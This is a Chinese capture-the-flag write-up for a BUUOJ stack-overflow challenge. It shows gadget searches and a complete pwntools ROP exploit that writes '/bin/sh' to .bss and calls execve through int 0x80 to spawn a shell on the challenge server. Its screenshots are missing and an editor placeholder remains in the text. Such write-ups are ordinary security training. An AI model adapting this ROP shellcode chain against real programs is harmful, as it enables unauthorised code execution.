环境:WSL2,ubuntu16.04,python2
常规checksec文件:
ida反编译:
明显看到read函数会导致栈溢出
gdb调试程序:
用cyclic指令生成100个数字,运行程序:
求输入点到返回地址的偏移:
得到偏移是32,即0x20
值得一提的是,在ida中,我们可以看到偏移是0x18+0x04=0x1c,以gdb调试为准
原因可参考:
https://blog.youkuaiyun.com/mcmuyanga/article/details/109260008
文件名给了提示,使用ROP
ROPgadget --binary simplerop |grep "int"
使用该命令寻找gadget
发现可执行中断来进行系统调用:int 0x80
因此可以通过调用execve("/bin/sh",0,0)来getshell
execve在32位中的系统调用号为11
参考:
https://blog.youkuaiyun.com/xiaominthere/article/details/17287965
需要寄存器eax,ebx,ecx,edx来存储参数
使用命令:
ROPgadget --binary simplerop |grep "pop eax ; ret"
ROPgadget --binary simplerop |grep "pop ebx ; ret"在这里插入代码片
利用read函数将/bin/sh写入bss段再利用int 80h来调用,由于PIE保护没开,所以bss的地址就是绝对地址。
这里read函数也可以用系统自带的,调用号为3,不过程序自带了read函数可以直接用程序自带的
完整exp:
#coding=utf-8
from pwn import *
io = remote("node4.buuoj.cn","26092")
int_addr = 0x080493e1
bss = 0x080eaf80
pop_edx_ecx_ebx = 0x0806e850
read_addr = 0x0806cd50
pop_eax = 0x080bae06
#调用read函数
payload = 0x20*'a'+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss)+p32(8)
#int 80h中断
payload += p32(pop_eax)+p32(11)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(int_addr)
io.sendline(payload)
io.send("/bin/sh\x00")
io.interactive()
~
结果:
参考:
https://www.cnblogs.com/bhxdn/p/12330142.html
https://blog.youkuaiyun.com/github_36788573/article/details/104512306